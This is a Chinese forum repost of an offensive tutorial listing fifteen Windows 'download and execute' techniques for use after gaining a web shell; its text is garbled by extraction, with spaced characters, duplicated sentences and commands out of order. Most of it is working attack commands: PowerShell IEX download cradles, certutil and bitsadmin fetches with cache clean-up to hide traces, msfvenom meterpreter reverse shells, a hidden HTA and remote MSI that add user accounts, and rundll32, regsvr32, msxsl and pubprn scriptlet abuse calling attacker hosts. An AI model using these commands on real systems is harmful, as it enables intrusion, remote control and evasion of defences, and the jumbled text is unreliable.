搜索

[984] 2020-04-15_Windows文件下载执行的15种姿势

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-16
2020-04-15_Windows文件下载执行的15种姿势 W i n d o w s 文 件 下 载 执 行 的 1 5 种 姿 势 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 4 - 1 5 当 我 们 通 过 W e b 渗 透 获 取 了 一 个 S h e l l ， 而 且 目 标 主 机 是 W i n d o w s ， 我 们 该 怎 么 去 下 载 后 门 文 件 到 目 标 主 机 上 执 行 呢 ？ 一 般 来 说 ， 实 现 W i n d o w s 文 件 下 载 执 行 的 方 式 不 外 乎 以 下 几 种 方 式 。 第 一 种 ， 远 程 下 载 文 件 到 本 地 ， 然 后 再 执 行 ； 第 二 种 ， 远 程 下 载 执 行 ， 执 行 过 程 没 有 二 进 制 文 件 落 地 ， 这 种 方 式 已 然 成 为 后 门 文 件 下 载 第 二 种 ， 远 程 下 载 执 行 ， 执 行 过 程 没 有 二 进 制 文 件 落 地 ， 这 种 方 式 已 然 成 为 后 门 文 件 下 载 执 行 的 首 要 方 式 执 行 的 首 要 方 式 。 。 另 外 呢 ， 只 要 你 所 在 服 务 器 的 环 境 支 持 ， 你 也 可 以 通 过 任 何 一 门 语 言 来 实 现 它 ， 这 种 方 式 暂 不 在 本 文 的 讨 论 范 围 之 内 。 在 这 里 ， 在 这 里 ， 本 文 收 集 了 本 文 收 集 了 1 5 种 常 见 的 文 件 下 载 执 行 的 方 式 ， 并 结 合 具 体 案 例 种 常 见 的 文 件 下 载 执 行 的 方 式 ， 并 结 合 具 体 案 例 ， 让 我 们 一 起 来 看 看 是 怎 么 实 现 的 吧 。 P o w e r S h e l l B i t s a d m i n c e r t u t i l w g e t i p c $ 文 件 共 享 F T P T F T P W i n S c p m s i e x e c I E E x e c m s h t a r u n d l l 3 2 r e g s v r 3 2 M S X S L . E X E p u b p r n . v b s 1 、 、 P o w e r S h e l l P o w e r S h e l l 是 一 种 命 令 行 外 壳 程 序 和 脚 本 环 境 ， 使 命 令 行 用 户 和 脚 本 编 写 者 可 以 利 用 。 远 程 下 载 文 件 保 存 在 本 地 ： 远 程 执 行 命 令 ： 2 、 、 B i t s a d m i n b i t s a d m i n 是 一 个 命 令 行 工 具 ， 可 用 于 创 建 下 载 或 上 传 工 作 和 监 测 其 进 展 情 况 。 p o w e r s h e l l   ( n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / i m a g / e v i l . t x t ' , ' e v i l . e x e ' ) p o w e r s h e l l   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / i m a g / e v i l . t x t ' ) ) " b i t s a d m i n   / t r a n s f e r   n   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / i m a g / e v i l . t x t   d : t e s t 1 . t x t
输 入 以 上 命 令 ， 成 功 下 载 文 件 。 3 、 、 c e r t u t i l 用 于 备 份 证 书 服 务 ， 支 持 x p - w i n 1 0 都 支 持 。 由 于 c e r t u t i l 下 载 文 件 都 会 留 下 缓 存 ， 所 以 一 般 都 建 议 下 载 完 文 件 后 对 缓 存 进 行 删 除 。 注 ： 缓 存 目 录 为 ： 4 、 、 w g e t W i n d o w s 环 境 下 ， 可 上 传 免 安 装 的 可 执 行 程 序 w g e t . e x e 到 目 标 机 器 ， 使 用 w g e t 下 载 文 件 。 w g e t . e x e 下 载 ： h t t p s : / / e t e r n a l l y b o r e d . o r g / m i s c / w g e t / ” % U S E R P R O F I L E % A p p D a t a L o c a l L o w M i c r o s o f t C r y p t n e t U r l C a c h e C o n t e n t ” # 下 载 文 件 c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / i m a g / e v i l . t x t   t e s t . p h p # 删 除 缓 存 c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / i m a g / e v i l . t x t   d e l e t e w g e t   - O   " e v i l . t x t "   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / i m a g / e v i l . t x t
5 、 、 i p c $ 文 件 共 享 文 件 共 享 I P C $ ( I n t e r n e t   P r o c e s s   C o n n e c t i o n ) 是 共 享 ” 命 名 管 道 ” 的 资 源 ， 它 是 为 了 让 进 程 间 通 信 而 开 放 的 命 名 管 道 ， 通 过 提 供 可 信 任 的 用 户 名 和 口 令 ， 连 接 双 方 可 以 建 立 安 全 的 通 道 并 以 此 通 道 进 行 加 密 数 据 的 交 换 ， 从 而 实 现 对 远 程 计 算 机 的 访 问 。 6 、 、 F T P 一 般 情 况 下 攻 击 者 使 用 F T P 上 传 文 件 需 要 很 多 交 互 的 步 骤 ， 下 面 这 个   b a s h 脚 本 ， 考 虑 到 了 交 互 的 情 况 ， 可 以 直 接 执 行 并 不 会 产 生 交 互 动 作 。 # 建 立 远 程 I P C 连 接 n e t   u s e   1 9 2 . 1 6 8 . 2 8 . 1 2 8 i p c $   / u s e r : a d m i n i s t r a t o r   " a b c 1 2 3 ! " # 复 制 远 程 文 件 到 本 地 主 机 c o p y   1 9 2 . 1 6 8 . 2 8 . 1 2 8 c $ 2 . t x t   D : t e s t f t p   1 2 7 . 0 . 0 . 1 u s e r n a m e p a s s w o r d g e t   f i l e e x i t
7 、 、 T F T P 用 来 下 载 远 程 文 件 的 最 简 单 的 网 络 协 议 ， 它 基 于 U D P 协 议 而 实 现 t f t p 3 2 服 务 端 下 载 地 址 ： h t t p : / / t f t p d 3 2 . j o u n i n . n e t / t f t p d 3 2 _ d o w n l o a d . h t m l 8 、 、 W i n S c p W i n S C P 是 一 个 W i n d o w s 环 境 下 使 用 S S H 的 开 源 图 形 化 S F T P 客 户 端 。 e x i t t f t p   - i   你 的 I P   g e t   要 下 载 文 件   存 放 位 置
使 用 w i n s c p . e x e   作 为 命 令 行 参 数 执 行 远 程 上 传 / 下 载 操 作 。 9 、 、 m s i e x e c m s i e x e c   支 持 远 程 下 载 功 能 ， 将 m s i 文 件 上 传 到 服 务 器 ， 通 过 如 下 命 令 远 程 执 行 ： 成 功 添 加 了 一 个 t e s t 用 户 ： 1 0 、 、 I E E x e c I E e x e c . e x e 应 用 程 序 是 . N E T   F r a m e w o r k 附 带 程 序 ， 存 在 于 多 个 系 统 白 名 单 内 。 生 成 P a y l o a d ： # 上 传 w i n s c p . e x e   / c o n s o l e   / c o m m a n d   " o p t i o n   b a t c h   c o n t i n u e "   " o p t i o n   c o n f i r m   o f f "   " o p e n   s f t p : / / b y p a s s : a b c 1 2 3 ! @ 1 9 2 . 1 6 8 . 2 8 . 1 3 1 : 2 2 "   " o p t i o n   t r a n s f e r   b i n a r y "   " p u t   D : 1 . t x t     / t m p / "   " e x i t "   / l o g = l o g _ f i l e . t x t   # 下 载 w i n s c p . e x e   / c o n s o l e   / c o m m a n d   " o p t i o n   b a t c h   c o n t i n u e "   " o p t i o n   c o n f i r m   o f f "   " o p e n   s f t p : / / b y p a s s : a b c 1 2 3 ! @ 1 9 2 . 1 6 8 . 2 8 . 1 3 1 : 2 2 "   " o p t i o n   t r a n s f e r   b i n a r y "   " g e t   / t m p   D : t e s t a p p "   " e x i t "   / l o g = l o g _ f i l e . t x # 生 成 m s i 包 m s f v e n o m   - p   w i n d o w s / e x e c   C M D = ' n e t   u s e r   t e s t   a b c 1 2 3 !   / a d d '   - f   m s i   >   e v i l . m s i # 远 程 执 行 m s i e x e c   / q   / i   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / e v i l . m s i m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 2 8 . 1 3 1   l p o r t = 4 4 4 4   - f   e x e   - o   e v i l . e x e
使 用 管 理 员 身 份 打 开 c m d ， 分 别 运 行 下 面 两 条 命 令 。 1 1 、 、 m s h t a m s h t a 用 于 执 行 . h t a 文 件 ， 而 h t a 是 H T M L   A p p l o c a t i o n   的 缩 写 ， 也 就 是 H T M L 应 用 程 序 。 而 h t a 中 也 支 持 V B S 。 所 以 我 们 可 以 利 用 h t a 来 下 载 文 件 。 r u n . h t a 内 容 如 下 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 2 8 . 1 3 1   l p o r t = 4 4 4 4   - f   e x e   - o   e v i l . e x e C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 2 . 0 . 5 0 7 2 7 > c a s p o l . e x e   - s   o f f C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 2 . 0 . 5 0 7 2 7 > I E E x e c . e x e   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 3 1 / e v i l . e x e m s h t a   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / r u n . h t a < H T M L >   < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 " > < H E A D >   < s c r i p t   l a n g u a g e = " V B S c r i p t " > W i n d o w . R e S i z e T o   0 ,   0 W i n d o w . m o v e T o   - 2 0 0 0 , - 2 0 0 0 S e t   o b j S h e l l   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) o b j S h e l l . R u n   " c m d . e x e   / c   n e t   u s e r   t e s t   p a s s w o r d   / a d d "   / /   这 里 填 写 命 令 s e l f . c l o s e < / s c r i p t > < b o d y > d e m o < / b o d y > < / H E A D >   < / H T M L >
1 2 、 、 r u n d l l 3 2 其 实 还 是 依 赖 于 W S c r i p t . s h e l l 这 个 组 件 ， 在 这 里 我 们 使 用 J S R a t 来 做 演 示 ， J S R a t 是 一 个 命 令 和 控 制 框 架 ， 仅 为 r u n d l l 3 2 . e x e 和 r e g s v r 3 2 . e x e 生 成 恶 意 程 序 。 项 目 地 址 ： 步 骤 一 ： 开 始 运 行 J S R a t ， 监 听 本 地 8 8 8 8 端 口 。 步 骤 二 ： 通 过 u r l 访 问 ， 可 以 查 看 恶 意 代 码 。 复 制 代 码 如 下 ： h t t p s : / / g i t h u b . c o m / H o o d 3 d R o b 1 n / J S R a t - P y . g i t r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n   " ; d o c u m e n t . w r i t e ( ) ; h = n e w % 2 0 A c t i v e X O b j e c t ( " W i n H t t p . W i n H t t p R e q u e s t . 5 . 1 " ) ; h . O p e n ( " G E T " , " h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 3 1 : 8 8 8 8 / c o n n e c t " , f a l s e ) ; t r y { h . S e n d ( ) ; b = h . R e s p o n s e T e x t ; e v a l ( b ) ; } c a t c h ( e ) { n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   t a s k k i l l   / f   / i m   r u n d l l 3 2 . e x e " , 0 , t r u e ) ; }
步 骤 三 ： 在 受 害 者 P C 运 行 该 代 码 ， 将 成 功 返 回 一 个 会 话 ， 如 下 图 所 示 ： 1 3 、 、 r e g s v r 3 2 R e g s v r 3 2 命 令 用 于 注 册 C O M 组 件 ， 是 W i n d o w s 系 统 提 供 的 用 来 向 系 统 注 册 控 件 或 者 卸 载 控 件 的 命 令 ， 以 命 令 行 方 式 运 行 在 目 标 机 上 执 行 ： 可 以 通 过 自 己 构 造 . s c t 文 件 ， 去 下 载 执 行 我 们 的 程 序 执 行 命 令 ， 成 功 弹 计 算 器 ： r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n   " ; d o c u m e n t . w r i t e ( ) ; h = n e w % 2 0 A c t i v e X O b j e c t ( " W i n H t t p . W i n H t t p R e q u e s t . 5 . 1 " ) ; h . O p e n ( " G E T " , " h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 3 1 : 8 8 8 8 / c o n n e c t " , f a l s e ) ; t r y { h . S e n d ( ) ; b = h . R e s p o n s e T e x t ; e v a l ( b ) ; } c a t c h ( e ) { n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   t a s k k i l l   / f   / i m   r u n d l l 3 2 . e x e " , 0 , t r u e ) ; } r e g s v r 3 2 . e x e   / u   / n   / s   / i : h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 3 1 : 8 8 8 8 / f i l e . s c t   s c r o b j . d l l < ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t > < r e g i s t r a t i o n         p r o g i d = " S h o r t J S R A T "         c l a s s i d = " { 1 0 0 0 1 1 1 1 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 F E E D A C D C } "   >         < s c r i p t   l a n g u a g e = " J S c r i p t " >                 < ! [ C D A T A [                         p s     =   " c m d . e x e   / c   c a l c . e x e " ;                         n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( p s , 0 , t r u e ) ;                 ] ] > < / s c r i p t > < / r e g i s t r a t i o n > < / s c r i p t l e t >
1 4 、 、 M S X S L . E X E m s x s l . e x e 是 微 软 用 于 命 令 行 下 处 理 X S L 的 一 个 程 序 ， 所 以 通 过 他 ， 我 们 可 以 执 行 J a v a S c r i p t 进 而 执 行 系 统 命 令 。 下 载 地 址 为 ： m s x s l . e x e   需 要 接 受 两 个 文 件 ， X M L 及 X S L 文 件 ， 可 以 远 程 加 载 ， 具 体 方 式 如 下 ： d e m o . x m l e x e c . x s l h t t p s : / / w w w . m i c r o s o f t . c o m / e n - u s / d o w n l o a d / d e t a i l s . a s p x ? i d = 2 1 7 1 4 m s x s l   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / s c r i p t s / d e m o . x m l   h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 2 8 / s c r i p t s / e x e c . x s l < ? x m l   v e r s i o n = " 1 . 0 " ? > < ? x m l - s t y l e s h e e t   t y p e = " t e x t / x s l "   h r e f = " e x e c . x s l "   ? > < c u s t o m e r s > < c u s t o m e r > < n a m e > M i c r o s o f t < / n a m e > < / c u s t o m e r > < / c u s t o m e r s > < ? x m l   v e r s i o n = ' 1 . 0 ' ? > < x s l : s t y l e s h e e t   v e r s i o n = " 1 . 0 " x m l n s : x s l = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m " x m l n s : m s x s l = " u r n : s c h e m a s - m i c r o s o f t - c o m : x s l t " x m l n s : u s e r = " h t t p : / / m y c o m p a n y . c o m / m y n a m e s p a c e " > < m s x s l : s c r i p t   l a n g u a g e = " J S c r i p t "   i m p l e m e n t s - p r e f i x = " u s e r " >       f u n c t i o n   x m l ( n o d e l i s t )   { v a r   r   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   c a l c . e x e " ) ;       r e t u r n   n o d e l i s t . n e x t N o d e ( ) . x m l ;       } < / m s x s l : s c r i p t > < x s l : t e m p l a t e   m a t c h = " / " >       < x s l : v a l u e - o f   s e l e c t = " u s e r : x m l ( . ) " / > < / x s l : t e m p l a t e > < / x s l : s t y l e s h e e t >
1 5 、 、 p u b p r n . v b s 在 W i n d o w s   7 以 上 版 本 存 在 一 个 名 为 P u b P r n . v b s 的 微 软 已 签 名 W S H 脚 本 ， 其 位 于 C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s e n - U S ， 仔 细 观 察 该 脚 本 可 以 发 现 其 显 然 是 由 用 户 提 供 输 入 （ 通 过 命 令 行 参 数 ） ， 之 后 再 将 参 数 传 递 给 G e t O b j e c t ( ) t e s t . s c t " C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s z h - C N p u b p r n . v b s "   1 2 7 . 0 . 0 . 1   s c r i p t : h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / e n i g m a 0 x 3 / 6 4 a d f 8 b a 9 9 d 4 4 8 5 c 4 7 8 b 6 7 e 0 3 a e 6 b 0 4 a / r a w / a 0 0 6 a 4 7 e 4 0 7 5 7 8 5 0 1 6 a 6 2 f 7 e 5 1 7 0 e f 3 6 f 5 2 4 7 c d b / t e s t . s c t < ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t > < r e g i s t r a t i o n         d e s c r i p t i o n = " B a n d i t "         p r o g i d = " B a n d i t "         v e r s i o n = " 1 . 0 0 "         c l a s s i d = " { A A A A 1 1 1 1 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 F E E D A C D C } "         r e m o t a b l e = " t r u e "         > < / r e g i s t r a t i o n > < s c r i p t   l a n g u a g e = " J S c r i p t " > < ! [ C D A T A [                 v a r   r   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c a l c . e x e " ) ; ] ] > < / s c r i p t > < / s c r i p t l e t >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理